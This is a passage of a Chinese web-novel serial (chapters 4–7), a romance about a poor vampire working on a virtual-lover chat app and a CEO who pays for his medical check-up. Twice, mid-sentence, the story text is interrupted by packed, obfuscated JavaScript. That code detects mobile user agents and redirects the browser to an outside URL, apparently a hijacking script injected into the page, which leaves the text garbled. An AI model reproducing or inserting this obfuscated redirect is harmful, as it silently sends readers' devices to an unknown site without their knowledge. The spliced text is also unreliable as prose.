用户31980先生。 小吸血鬼好像有点恨你了。 4. 第 4 章 三天后的晚上,宁尔坐在硬邦邦的木椅子上,盯着秒表,亲眼看着禁言期过去,手指一动,掐着点打开缘来app。 这三天他虽然没有工作,但也因此没有消耗体力,整个鬼状态还算不错。 前天他刚刚喝了一整个血包,补给员说因为他是老顾客,除了500毫升的血袋以外,又送了宁尔一管小样。 看来他虽然涨价,也不算坏人。 补给员说最近还有“人”找他买血包,问宁尔会不会也是吸血鬼。 宁尔果断摇摇头。 吸血鬼和人类世界有着严格的界限,为了彼此的安全考虑,除非有极特殊的事件,吸血鬼并不会冒然踏入人类社会。 况且,想要来到人类世界必须通过他家族里那颗独一无二的蓝宝石。 蓝宝石是在由父亲母亲亲自保管的…… 不对。 准确地说,应该是由伯爵先生和夫人亲自保管的。 总之,人类世界不会出现很多吸血鬼就是了。 宁尔点开缘来列表,第一个赫然是那个灰色头像的始作俑者。 用户31980先生。 宁尔盯着那个头像,磨了磨两边伸出来的小尖牙,手指犹豫了几次,还是有点发怵,最终没敢再给他发消息。 先继续骚扰10个小帅小美。 宁尔复制了一条[你好吖,我是可爱小耳朵],然后开始一个个粘贴。 照样是没有人回复。 宁尔稍微有些失落,但也不像第一次那么难受了。 他都是被举报过的鬼了,不回复又算得了什么呢。 等了一会儿,手机出现“叮”的一声,宁尔赶紧拿起来看,头像是一个穿着橙色T恤的,用了橙子特效的可爱男孩子。 [小耳朵你好,我是小橙子]。 咦?又是男孩子? 宁尔快速打字回复: [小橙子你好,你是男孩子吗?] 小橙子:[对啊。我不是用得男头嘛。你呢?] 宁尔:[我也是我也是。你……要找我做虚拟恋人吗?] 小橙子:[大笑/大笑/我是0啊,难道你是1?] 什么是0和1? 宁尔反应了一下,明白小橙子说得可能是账号等级。 他点开自己的头像看了一下,继续回复: [嗯嗯,我是1。] 小橙子:[……还真没看出来。我和你是同行啦,也是来做虚拟恋人的,想问问你要不要□□。] 原来是同行啊。 宁尔暗暗松了口气,看头像小橙子和他年龄好像差不多大,又是同行,宁尔生出一点亲切感: [□□是什么意思?] 小橙子:[就是解锁进度条。不是需要五个不同的账号送50块的礼物吗?我们互相送一下,哪怕只能提现25,也能加快进度呗。相当于花25买个进度喽。] 宁尔想了想,觉得他说得有道理。 虽然元之想让他自己锻炼进步,不过如果真按照他的速度,可能直到饿死在出租屋的那天也凑不到五个礼物。 [好……那你] 宁尔话还没说完,小橙子一个浅水炮就已经炸在屏幕上了。 满屏幕瞬间被漂亮的特效充斥满,蓝色的海水上,小炮弹一飞冲天。 哇~ 宁尔由衷地哇了一声。 原来这就是收到礼物的感觉吗? 他赶紧退出界面去看自己的账户界面。 今日收益:25元。 天呐! 这个小小的数字,却能换来2碗鸭血粉丝汤了。 宁尔被这种神奇的感觉冲得头脑发晕,赶紧也点击钱包充值送礼物一条龙,给小橙子也刷了一个一样的。 小橙子脑袋顶的进度条立马被点满: [谢谢你小耳朵!我可以去直播室聊天啦!你也赶紧加油啊!我看你注册也有几天了,怎么还是一点儿进度都没有啊?] 小橙子的问题戳到了宁尔心窝窝上,他隔着屏幕委屈地打字: [我前几天被举报了。] 小橙子:[啊??你说什么了?这么猛的吗小耳朵?] 缘来本来就是一个虚拟恋人深夜聊天软件,都这个属性了,对于言论的宽松程度自然比别的软件强一点。 不然怎么恋? 而且大家都是心知肚明来聊天找乐子的,有谁会那么无聊举报来举报去的? 亲亲小耳朵:[我……好像没有说什么吖。] 小橙子:[我也觉得你不像。这种人肯定是现实生活不满。出门前因为上厕所误公交车迟到了,通宵加班改出来的方案被领导当场撕碎扬了,在酒吧买醉喝了十个动力火车结果被要500块报复社会的。] 宁尔:“……” 小橙子好像挺有生活的。 小橙子:[小耳朵,你想不想报仇?] 还可以报仇? 宁尔眼睛一亮,磨磨牙: [想。] 小橙子:[我教你,你直接骂他,别分句,一段骂过去,然后趁他反应过来之前就拉黑举报一条龙。] 还要拉黑举报啊…… 宁尔:[真、真的吗?] 小橙子:[这有什么真的假的?你又不是来玩的,你是来赚钱的。他举报你就是断你财路。挡人财路就活该!!!] 小橙子义愤填膺教育完宁尔就去开聊天室了。 两个人加了个好友,约好以后有机会再一起开聊天。 宁尔把对话切换到用户31980先生上,对话还停留在那句[V我500,看小吸血鬼辣舞]上。 小橙子说得对,他就是坏人。 他一个吸血鬼,学辣舞容易吗? 他一个吸血鬼,放下尊严,给网络上的人类跳舞容易吗? 明明前一秒还在给他发亲亲/亲亲/的表情包,怎么后一秒就举报呢? 宁尔越想呼吸越重,心跳越快,他本不擅长和别人吵架,但此刻,他觉得不能再这么窝囊了,一定要把这件事解决掉! 宁尔眼一闭,心一横,咬着嘴唇打字过去: [对不起先生,50可以吗?] - 傅宴舟洗过澡,擦干皮肤上的水珠,赤着脚从水汽氤氲的浴室走出来,一丝不苟地裹好纯黑色真丝浴袍。 系带在腰间打了一个弧度对称的结,将领子理得一丝不苟,吹干头发,戴上金丝框眼镜,走出浴室。 楼梯的灯开着,傅宴舟下到二楼,王妈动作轻便地走上来,手里拿着一台平板,轻声道: “傅总,小少爷已经睡着了。” “嗯。去放书房吧。”傅宴舟说得是王妈手里的平板。 “好的。给您准备了两种安神茶,我一并送过去。您……还是要注意身体,早点休息。” 傅宴舟工作狂不是一天两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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!!! 宁尔赶忙点开消息: [多辣?] 嗯? 宁尔挠挠头。 他发俩条消息之前其实预想过用户先生的回答。 比如,告诉他做人要诚实,不要装小吸血鬼骗人。 比如,呵,现在知道自己要500错了?被我举报不冤枉吧? 再比如,直接给他刷50块礼物等视频。 多辣…… 宁尔耳朵有点发热,他低下头,看了看自己身上的极其普通的黑色短袖和短裤。 膝盖上的淤青都还没散去。 狭小潮湿的出租屋里只有一盏昏黄的台灯,四周墙壁都有掉皮泛黄的样子。 宁尔看了看床头那面唯一还算白的墙,喉头滚了滚,低着脑袋,心里短暂斗争了一番,动了心思。 他爬上去,半跪在床上,举着手机,打开自拍模式对准自己。 他身上的黑色T恤已经因为经常洗变形了,宁尔手指微微发颤,就着宽松的领口,把T恤往下一拉。 肩上的皮肤裸露在空气中,宁尔另一只手拿起手机,避开自己的脸,稍稍耸肩,让锁骨线条尽可能柔弱好看一点,对着那只白皙的肩膀咔嚓来了一声。 巨大的快门声好像轻轻击碎了宁尔的什么心,他轻轻眯上眼,睫毛微微颤抖,仿佛不敢直视自己刚刚拍了什么。 大概过了五六分钟,在傅宴舟耐心耗光打算再度删除软件、永久性注销平板的默认下载ID时,来了一条消息。 亲亲小耳朵:[图片] 亲亲小耳朵:[够辣吗?嗯?] 5. 第 5 章 傅宴舟手指顿了顿,点开那张照片。 差劲的手机像素拍的照片发糊,单调的白墙,周边散发着无序的黄色光晕。 照片上是一截白嫩净透的肩膀。 黄光刚好勾勒在肩头轮廓,给手臂上的线条镀了一层深邃的阴影。 少年的肩头小巧圆润,瓷白的肌肤干净细腻,可能是因为被衣服布料摩擦,灯光下稍微泛着点近乎透明的红。 肩部的线条流畅利落,平整地延伸至锁骨,单薄清瘦。 只凭一截肩头和些许骨头几乎能勾勒出一个形象。 傅宴舟的目光顺着锁骨继续往上看,只有一小截细嫩的脖颈,再往上看,没有了。 傅宴舟把图片缩小,又点开少年那个加了吸血鬼特效的脸。 漂亮脸蛋和小巧白嫩的肩头,被傅宴舟用视觉在脑内拼凑起来。 傅宴舟喉头滚了滚,用手指摩挲了一下屏幕中宁尔的脸蛋。 洗过澡后的潮意在夏夜的浴袍里重新蒸腾,傅宴舟觉得身上有些发热,伸出食指和中指,将浴袍领口往开扯了扯。 宁尔忐忑地等了一会儿。 用户31980先生又不回复他了。 怎么会有这么阴晴不定的人类吖! 如果有一天月亮被天狗吃了,人类完全可以把用户31980先生送上去做月亮。 等等,他不会又…… 又要举报我吧!!! 不行不行,鬼不能在同一个人身上摔倒两次! 宁尔挥动手指快速打字: 亲亲小耳朵:[用户先生,你不回复,是不是被辣到了吖?] 亲亲小耳朵:[还是你觉得还不够辣,不值得50米吖?] 亲亲小耳朵:[用户先生,如果你不喜欢我以后就不打扰你了,球球你千万别再举报我了。我已经丢了好几份工作,好几天没有吃饭了。] [我没有赚钱的本事,如果再丢了这份工作,我可能真的会饿死的,呜呜呜呜呜呜呜。] 屏幕上不停地闪跳大段消息,可能因为是软情趣软件,整个界面都是粉粉嫩嫩,对话框也自动带着一个小爱心。 傅宴舟敏锐捕捉到一次词。 再? 好几天没吃饭。 他心里忍不住微哂了一下。做他们这一行,好像倒是挺会习惯性夸张卖惨。 傅宴舟的确没想再回复了。 这样的劣质软件,这样隔着网线的交流方式,这样大胆的情趣play以及交易方式,科技美化下不知道有几分真假的照片—— 超出了傅宴舟的认知模式。 他不想用太过高高在上歧视的眼光去评判别人的赚钱方式,但对于他来说,在这里多停留的每一分钟,都是在浪费时间。 哪怕那两张照片拼叠到一个男孩身上,的确有点,不一样的漂亮。 目光再次扫过亲亲小耳朵那抹肩膀照片,傅宴舟停顿了一下,点开了他的头像,缘小圈。 像朋友圈一样,可以发布动态。 只有三天前的一条。 一条腿上的膝盖青得发紫。 镜头聚焦在左腿膝盖,但隐约能扫到右膝也是同样淤青颜色很深的伤。 即使经过拍摄吞色失真模糊,这淤青仍可以说是触目惊心。 他的腿并不粗,从锁骨肩头来看体重偏清瘦,伤成这样,很难说骨头没有问题。 - 屏幕上满满当当都是宁尔的自嗨。 从头到尾,用户先生只发了两个字而已。 宁尔有些泄气,他甚至都不抱什么希望,已经做好了再次被用户先生举报的准备。 他按灭手机,把头埋在潮湿的人类被子里,再次等待着审判他的网络上帝。 手机里忽然发出了一阵咕嘟咕嘟的声音。 不是“叮~”,也不是“叮咚”。 宁尔一瞬间竖起耳朵,这个声音…… 他赶紧打开手机,蓝色的海水特效充满了屏幕,一枚精致的潜水炮调皮地落在屏幕上,然后一飞冲天。 礼物!! 50块的礼物!!! 他都还没有辣舞,用户先生就直接打赏了50块!! 6碗鸭血粉丝汤不要粉丝只要鸭血!! 宁尔简直不敢相信自己的眼睛。 这个用户先生,还是三天前一言不发举报他的人吗? 难道,真的是因为500太多,50才正好吗? 挺会做生意的,人。 亲亲小耳朵:[震惊脸/震惊脸/] 亲亲小耳朵:[打滚/撒花/捏脸脸/捏脸脸/] 亲亲小耳朵:[谢谢用户31980先生!您真是世界上最好最帅最有魅力的男人啦!!] 亲亲小耳朵:[你等我一下,我现在立马跳辣舞给你看。] 用户31980:[不用了。] 嗯? 宁尔看着屏幕上那几个字,有点发怔。 亲亲小耳朵:[不要辣舞,那要什么?] 唱歌?乐器?其他的他也还不会呀…… 还是……他想要什么别的东西…… 宁尔忐忑地看着屏幕,下一秒,用户先生的消息过来: [什么都不用。] 呼…… 宁尔松了一口气。 亲亲小耳朵:[那您给我潜水炮是为什么呀?是因为我说没有吃饭,心疼我了吗?] 用户31980引用了一下宁尔的香肩照: [1] …… 1是什么意思?也是说我账号等级是1吗? 宁尔点开用户31980先生的头像看了看。 他也是1。 亲亲小耳朵:[只是一张照片而已,您的50米太多啦,我不值得的。歪头/歪头/] 他已经摸清楚用户先生的性格了。他可以花钱,但一定不能花冤枉钱。 别看他浅水炮一声不吭地砸,真要是只发一张照片,那也是会举报的。 亲亲小耳朵:[用户先生,我们接下来,还要玩点别的吗?害羞/害羞/] 亲亲小耳朵:[你是不是刚刚下载“缘来”呀?要不要我教教你怎么玩?] 屏幕那边,傅宴舟看到“我不值得的”几个字,眉头轻蹙了一下。 他又点开亲亲小耳朵的缘小圈,看了看那张照片。 [腿怎么了?] 宁尔看着用户先生的问题,反应了一下,打字回复: [缘小圈那张照片吗?] [以前打工时候不小心摔得。不过已经很久了,应该很快就会好啦!] 用户31980:[很久?] 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653322|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >[嗯嗯,很久。应该有半个多月了。] 宁尔如实回答完这个问题,又觉得不对,吸血鬼和人类的体质不一样,所以淤青会比人类重很多。他这么说下去,不会暴露什么吧? 宁尔心虚地补充了一句: [是因为个人体质的原因啦。用户先生不用再为小耳朵担心啦~会好起来的~] [去过医院么?] 亲亲小耳朵:[没有……我、我不喜欢医院。而且我现在也没有钱去医院。贵贵的。] 用户先生没有回复,宁尔怕他过度担心,正想再解释一下,用户先生忽然来了两条消息: [定位] [图片] 用户31980: [这是市中心的私人医疗中心定位,无论你住在哪儿,到这里半径距离都最短。] [体检卡的密码在图片上。用这张图片去检查。] [免费。] 亲亲小耳朵:[唉?用户先生……您是给我发了一笔去检查的医药费吗?] [天呐,用户先生……你也太好了……小耳朵感觉心里有什么暖暖的东西流过了。] 宁尔并不清楚什么是私人医疗中心,也不知道这个“卡”怎么用,但他还是心里还是怦怦跳了两下,似乎感受到自己的心脏在收缩。 他之前好像有点误会用户先生了,他好像不仅不坏,还有点好。 傅宴舟看着那句“心里暖暖的东西流过”,表情没有什么变化。 他不在意这个小男孩卖惨告诉他因为腿伤不能出去工作干活,所以只能做这种网络擦边。 不过,如果再不治疗,恐怕以后就真的什么都不能做了。 亲亲小耳朵:[用户先生,你是我在“缘来”工作以后,遇到最好的人了。] [虽然还是很害怕,但我愿意为了你的好意去医院~也一定会好起来的。] [对了用户先生,我需要什么时候去这里呢?] 用户31980:[随时。] 宁尔感受到了用户先生似乎不大想回复,估计是困了,赶紧打字: [时间不早了,你是不是需要休息啦?先休息吧用户先生,等我去过医院治好了,就拍照片给你。] [什么照片?] [腿的照片吖~] 傅宴舟目光沉了沉,似乎无意地又看了看宁尔的头像: [不用。] 才不管你用不用呢。 宁尔心里偷偷说了一句。 他趁用户先生下线前,赶紧最后补充了一句: [对了对了,用户先生,还有一句话我想对你说。] [我想告诉你,如果你害怕因为错过公交车被老板批评的话,下次可以不带包包去上班,如果碰到老板就说你刚刚去卫生间了,并没有迟到。] 宁尔一口气打完这么一句话,美滋滋地看着屏幕。 这是他提前在网上学的。 一个小预判,暖他一整天。 过了两分钟,对面回来一句话: [知道了,谢谢。] 亲亲小耳朵:[不要客气吖用户先生~快去休息吧,我已经迫不及待去医院了呢。] 亲亲小耳朵:[因为有你,去医院好像都不那么害怕了呢~] 亲亲小耳朵:[晚安/晚安/撒花/撒花/] 6. 第 6 章 宁尔拎着一碗汤面站在陈元之背后时,陈元之正在用气泡音和屏幕里的姐姐说这辈子最大的愿望就是去土耳其坐一次热气球。 如果不能去土耳其的话,去国内也是可以的。 如果实在不能坐热气球的话,看看热气球的特效礼物也是很好的。 宁尔像个鬼一样一声不吭,直到屏幕上反光出他的脸。 陈元之吓了一跳,关了麦摘掉耳机,看到宁尔手里的饭条件反射: “yue” “不是鸭血粉丝汤。” “是香辣油泼面。” “哇,谢谢咱们亲亲小耳朵。” 陈元之一秒变脸,看他的眼神有点惊异,仿佛看到了傻子开窍。 “要蒜了吗?” 宁尔脸色微微一变,沉声道:“没、有。” 陈元之飞速离开电脑打开饭盒,对着一碗裹满辣油白芝麻,撒着葱花的宽面深深吸闻了一口。他塞了一筷子面到嘴里,满意地嚼完: “哎你不知道,吃面不吃蒜,香味儿少一半。” 讨厌。 讨厌大蒜。 每一个吸血鬼的愿望都是拔掉世界上所有的大蒜。 “多少钱啊?我转你。”陈元之边吃边嘟囔着拿起手机。 大蒜并没有影响到宁尔的好心情,他摇摇头: “不用了元之,我请你。” 陈元之筷子一顿:“我靠,太阳打西边出来了?” 倒不是宁尔抠门,只是他实在是太穷了,而且好像除了他和靳伟之外在这个世界上没有一个亲戚朋友似的,每一分钱都是纯靠夜班苦力换来的,他们不舍得花宁尔的钱。 宁尔被陈元之说得有些脸红,他拿出手机打开缘来,点开“我的”页面举到陈元之面前。 里面有明晃晃的50块余额,头像上的进度条也点亮了两格。 “我靠,可以啊小耳朵。” 陈元之发自真心地夸赞了一声。 宁尔在没开语音房间的情况下,作为一个新人,一个晚上就收到了100块的礼物。 宁尔接单数量那栏还是空着的,证明还没有人下单他的虚拟恋人。也就是说,这些钱都不是点单费,而是单纯打赏。 宁尔有些小骄傲地撅了撅嘴,眼神中有种小学生被夸奖后的暗暗欣喜神色。 “这都是谁啊?看起来出手还算大方啊。姐姐还是妹妹?看看我们小耳朵招什么人喜欢。” 呃。 哥哥。 宁尔在心里偷偷说了一句。 他脑子里冒出来用户先生那个默认的灰色头像,虽然不知道他多大,但是隐约感觉他说话很像一个哥哥。 宁尔不敢告诉陈元之自己骗了一个男生,咬了咬嘴唇糊弄过去: “我也不知道啦。他没有头像,也没有网名。” “游客啊?” “这种你得抓住了啊。这种用户一般都是心血来潮下载着看一看,说不定哪天忘了这个软件或者手机内存满了就卸载了。” “你好好把握住,多让他下几单啊。” “哦、好。”陈元之见多识广,宁尔赶紧虚心学习。 “而且……” “而且什么?” “而且他看到我腿上有伤,还给我一张体检卡,让我去医院检查一下。” “你都给他看腿了??” 宁尔脸一红,赶紧拼命摇头: “才没有。” 没有看腿。看的是肩膀。 “什么卡?给我看看,靠谱吗?你别被人骗了啊,告诉你是医院,到了发现是酒店。” “……” 宁尔把那张卡的图片拿给陈元之看,陈元之也看不懂这是什么卡,隐约觉得挺高级,反正肯定不是酒店房卡。 陈元之:“碰到女菩萨了?” 宁尔:“嘿嘿” 陈元之还是保持狐疑的态度。凡是和医院检查的事儿沾上边儿,对于他们来说都不会便宜到哪儿去。 真这么大方? 不过他又低头看了眼宁尔腿上的淤青,都快一周了还没有丝毫好转的趋势。 陈元之胡乱揉了揉头发: “那你去的时候小心点啊,不许吃、喝外面的东西。有事儿随时给我和靳伟打电话。” “谢谢你,元之。” 宁尔感谢地朝他眨眼笑了笑。 - 晚上8点,天完全黑下来,S市中心高楼林立,霓虹闪烁。 宁尔其实住得离市中心不远,就是CBD后面没有拆改好的贫民街区。 一江之隔,仿佛两个世界。 他搭了很久的公交车来到用户先生发的位置附近,下了车又走了十几分钟,终于来到了一个挂着红色十字牌的医疗中心。 这里不是高楼大厦,宁尔莫名松了口气。 他穿着一身最朴素平凡的黑色短袖短裤,带着一副大大的黑色塑料框眼镜,压了压头顶的帽子,深呼了一口气,捏紧手里的手机走进去。 - 暮色漫过盛景大厦玻璃幕墙时,傅宴舟的皮鞋声在B2层专属车库响起。 早已等候多时的CEO人物杂志记者扛着长枪短炮,争分夺秒出现在他面前。 这个杂志三年前就对傅宴舟做过一次采访,最近的第二次采访还是和肖特助几次三番申请来的。本来采访已经结束,忽然又说还有两个问题想听傅总亲口回答。 不用想也知道是嗅到了什么新的隐形风向。 肖特助走上前和人握了手,看了眼腕上的手表礼貌提醒道: “刘记者,7分钟。” “感谢傅总,一定。我就开门见山了,傅总,请问您怎么看待东南亚斑森公司因涉嫌参与违法犯罪活动,导致您撤资,继而导致当地七十多家工厂面临停工这件事?” CEO人物杂志在国际上都有一定的影响力,在业内更是以出了名的“不打招呼、不提前核对问题”,问题更是直击要害。 肖特助听她问到斑森的事,不免眉头一皱,看向傅宴舟。 傅宴舟没沉默多久,看着麦克风开口沉声道: “遵纪守法是每个人体、企业需要具备的基本素质。盛景拒绝和违法乱纪的企业合作,属于企业管理运营的正常决策。有什么问题吗?” “可是据我们了解,斑森公司已经在该国补交了所有相关罚款,仍具备继续运营的资格。同比成本更低,并且能保住当地工厂就业生存,您为什么仍选择撤资?” 想要回答这个问题实在太简单了。 完全不值得她们专门来蹲守几天。 傅宴舟眼神沉了沉,从那枚灰色的收声话筒上掠过,惜字如金般吐出几个字: “盛景从不和劣迹企业合作。” “好的。下一个问题。” “根据盛景上半年公布的财报数据显示,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653323|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现您在保护濒危物种、收集濒危物种声音等自然公益领域的投入再创新高。” “请问这是盛景集团为了科技创新的必要投资,还是更倾向于您作为一个自然环保主义者的观念践行呢?” 原来,坑挖在这儿。 他投资关于濒危自然的项目不是一年两年了,这两个问题一前一后,无非是在委婉地表达一个问题,在傅宴舟眼里,所谓的自然环保,是否都超越了人的生存意义。 傅宴舟不动声色地冷笑了一下,看着刘记者,回答: “自然环保不是坏事,我和盛景,也不应该当做对立的个体回答二选一。” “……” 刘记者看着面前这个狡猾地狐狸,透过金丝眼镜,不怒自威的凌厉目光让她一瞬间愕然。 yes or no的问题,他回答了or。 7分钟很快到了,肖特助礼貌派车送客。 傅宴舟坐到宾利后座,肖特助在副驾上透过后视镜偷看脸色。 傅宴舟并没有黑脸,从他掌舵盛景以来就是这样,无论多大多难看的事儿,他面上都始终保持着一种和煦,鲜少喜怒形于色。 “傅总,刚刚那两个问题,恐怕会引来一些导向不好的讨论。” “嗯。” 傅宴舟嗯了一声,意料之中。 这两年业内或者大众对于他怎么商战夺权,一意孤行,漠视员工,不承担社会责任,反而跑去关爱自然野生动物的谣言如潮水般漫溢。 没有相对官方杂志的亲自采访,各类媒体的揣测造谣更可怕。 傅宴舟不再多想,合上隔档,打开电脑继续处理内部邮件。 处理了两封之后,傅宴舟合上电脑。窗外S市霓虹景致飞掠,正在驶过市中心区域。 他打开扶手储物仓,昨晚用的平板随着触碰亮起。 屏幕上赫然出现几条消息。 亲亲小耳朵:[用户先生,我来到医院啦。医院的护士哥哥姐姐对我很热情,您给的卡也很好用。] [只不过用卡需要登记身份证。我没有身份证……丢了。所以我就先不检查了。还是谢谢你吖~] [我来了,我真的来了哦。] [图片] [我猜你应该很忙,我等您一个小时,您不回复我就先走啦。] [一个小时啦用户先生,我真的走啦。] [图片] [我走到电梯了。] [图片] [我走到一楼大厅了。] 宁尔一边走,一边真的认真地给用户先生拍照。 用户先生担心他的腿伤,给他卡让他来治病,可惜却因为自己没有身份证不能看医生。 他本来想找个不小心把卡丢了的借口,甚至有黄牛认出了他这张卡,要花很多钱把卡买走。但他实在做不到这样欺骗一个第一次帮他的陌生人。 所以宁尔只能一直拍照,来给用户先生证明,他真的有来这里,真的有想要治病。 等走到门口时候,宁尔拍了一张门的照片,继续发过去: [我走到门口啦用户先生,我真的走啦。] 自动门从左右两侧滑开卷起了夏夜轻微的风声,连同宁尔的手机一起发出了“叮~”的一声。 宁尔愣了一下,站在原地打开手机: 用户31980: [拿着手机去三楼最里间找院长。让他听电话。] 7. 第 7 章 宁尔左手拎着一张大大的X光片和一大堆药,右手拎着一个精致的小礼品袋走回家。 回去的路上稍稍落了几滴小雨,宁尔稍稍加快走路的速度,脚下却更加轻快。 他先去对门敲了敲门,陈元之刚刚睡醒不久,头发都乱糟糟的,靳伟今天竟然也回来了,正在厨房里忙活做饭。 宁尔好奇地去厨房看,一个盘子里盛着红色的西红柿和一半黄一半黑的鸡蛋。 认识大半年,靳伟下厨不超过三次。宁尔还是第一次见他做这道菜。 他吸了吸鼻子: “哇,靳伟哥,这个是什么菜呀?” 靳伟炒菜的铲子一顿,以为宁尔是在故意讽刺他把蛋炒糊了,在宁尔脑袋上拍了一下: “什么菜不知道?是不是中国人?” “啊呜。” 宁尔头发被他压了一下,吃痛揉了揉脑袋。 靳伟注意到他手上的X光片和那些药: “去医院了?医生怎么说?” 宁尔点点头:“去了,医生说需要静养,不能剧烈运动。还给我很多药,每天涂抹一次。” “你去医院,没要身份证吗?”靳伟皱皱眉。 他听陈元之说了宁尔在虚拟恋人软件上的奇遇,一开始也保持怀疑。 宁尔有些心虚道:“……嗯,没。” “私立医疗中心吧?果然有钱就是可以为所欲为。” 宁尔想到靳伟之前也受过伤,赶紧问: “靳伟哥,这些药有很多,我用不了,要不要给你也涂点?我够用的。那个医生很好,他还说以后如果药不够了我可以再去拿。” 靳伟把锅里几个黑黑的鸡翅捞到盘子里,热油接触盘子的一瞬间滋啦作响。 两个菜炒好,他迅速解下围裙,瘦高的寸头痞气和煮饭的样子十分违和,靳伟把菜端出来放在桌子上,踹了踹陈元之屁股下的椅子: “不用。我跟了朱总之后早就不受伤了。盛景集团的公司,出门吃香的喝辣的都来不及。” “伟哥我得夸夸你啊,虽然都黑了起码除了炒蛋多学了一个菜,太有进步了。做你的哥们儿,有福。再帮我拿个勺子啊。” 陈元之连碗都没帮忙端一下,理所当然地来到饭桌旁。 宁尔偷偷注意了一下,虽然元之什么都没做,但他嘴上一个劲儿夸靳伟,靳伟虽然黑着脸,但也一声不吭帮他取了筷子。 这个也许就叫做情绪价值。 宁尔收回思绪:“盛景……那傅家……” “傅总。”靳伟纠正他。 要说以前他对这种企业的这总那总其实没什么敬畏心,甚至有时候觉得有些装逼搞笑。 但顶头的那位傅宴舟不一样。 跟着朱总久了,来来回回接触交往形形色色的人,从上到下,有怕傅宴舟的,但没有不尊敬他的。 靳伟倒是不怕他,只不过觉得一个同龄人能管理好这样的集团,只有他这声总才货真价实。 “嗯嗯,傅总……”宁尔点点头。 “傅总最近挺忙的。东南亚一个公司出了事儿,集团在集中处理。” 靳伟也就知道这么多。 不过在他眼里,宁尔关心傅宴舟的动态,就像关心A国总统是谁一样。 “哎?你说傅总要是知道在S市还有一个素未谋面的小朋友这么关心他,会有什么感觉?” 陈元之夹了一筷子鸡蛋,调侃他。 “你别说,那位傅总我见过照片,比明星还帅。网上关心他的男男女女可不少。小耳朵要不要看看他照片啊?” 宁尔被他说得莫名有些耳朵发红,赶紧摇摇头: “不、不用了。” “一起吃饭?” “也、也不用了。” 宁尔回到屋里冲了个澡,冰冷的水漫过他的身体,宁尔能感觉到自己吸血鬼的血液带动四肢,那是一种由内而外的冷气。 冷冽,但令鬼清醒。 他没有吹风机,胡乱地用毛巾擦了几下头发,换了一件陈元之借给他的漂亮黑色衬衫,打开刚刚从外面买的纸袋,拿出里面的东西,关了灯,打开手机录像架在桌子上,开始回想应该怎么做。 做完一切之后,宁尔掀开床板躲进床里,登录缘来,打开和用户31980先生的对话框: [夜里好,用户先生] [不知道你今天工作是不是还顺利呀~] [没有和你说话的7523秒钟,我的思念如潮水般滔滔滔滔滔滔滔滔滔滔滔滔滔滔……] 过了十几分钟,用户31980就回了消息: [?] 亲亲小耳朵:[用户先生回我消息啦!撒花/撒花/转圈/转圈] 亲亲小耳朵:[用户先生,你每天这么忙晚上还会专门上来和我聊天,小耳朵好感动吖。] …… 亲亲小耳朵:[用户先生,你现在在干什么呀?] 用户31980:[有事?] 亲亲小耳朵:[嗯嗯。我想给你看个东西,想用户先生坐下来休息时候才能看。如果现在忙也没关系,我可以等。] 亲亲小耳朵:[等一整晚也没关系哒~] 傅宴舟刚刚洗完澡,站在卧室的落地窗前,平板架在桌边几上,扭头看了一眼墙上的简约设计时钟,凌晨12点10分。 用户31980:[一定得坐着看么?] 亲亲小耳朵:[躺着看也可以的。] 亲亲小耳朵:[怎么舒服怎么来。] 夜已深,柔软的睡袍包裹着傅宴舟的身体,身后是一张灰色柔软的大床。卧室薰着佛手柑混合依兰的助眠香,通气口自动循环着雾气微薄的加湿。 傅宴舟盯着屏幕上少年在这个深夜软件里裹着小粉泡泡的“请求”,脑子里回想起那个小巧白皙的肩头,转身躺到床边,背靠在靠枕上,金丝眼镜放在床头,打字: [发吧。] 亲亲小耳朵:[好快啊用户先生。] [既然你准备好了,那我就发啦……] [也不知道你会不会喜欢……但是我认真准备的,还,还不太熟练……] [但如果你喜欢,我会尽快练熟多拍给你看的……] 一个1分30多秒的视频过来,封面是动态模糊的,依稀能看到少年藕白的小臂。 傅宴舟呼吸稍稍有些发紧。 用户31980:[你多大了?] 亲亲小耳朵:[快19岁啦!用户先生你不喜欢吗?] 用户31980:[还没看。] 傅宴舟又不动声色自己吸了口气,伸手,骨节分明的食指点开了那个视频。 视频里光线很黑,亲亲小耳朵穿了一件领口很低的蕾丝黑色衬衫,露出大片线条好看的锁骨,袖口随意挽起,两节藕白的手臂在黑暗中尤其显白。 没露脸。 他用两只纤长的手摆弄好手机,稍微往后退了退,修长漂亮的颈部线条露出来,喉结都小巧漂亮。 画面忽然明暗变化了一样,像是有一道强光,小耳朵背后的手一动一转,拿着一团火出现在屏幕上。 火光跃动,黑色蕾丝衬衫的花纹和透明度被火光勾勒。 少年忽然用左手握成一个空拳,从下倒上去握住那火光。 傅宴舟眉头一跳,指尖下意识捏了一下平板。 下一秒,火光消失,取而代之的是一朵艳红的塑料玫瑰。火光寂灭的两缕青烟,包裹住那朵假玫瑰。 “花苞”摇曳,少年白皙的手绅士地握在枝蔓上,仿佛隔着屏幕给他展示这份惊喜,另一只手伸到屏幕前,用拇指和食指跌在一起,比了一个小小的手势。 傅宴舟看着那朵仍在摇晃的玫瑰,愣了两秒。 一个十九岁的小孩,隔着屏幕变魔术哄他玩。 视频的末尾。少年的胸膛心跳地幅度很大。 是在害怕。 他怕火。 亲亲小耳 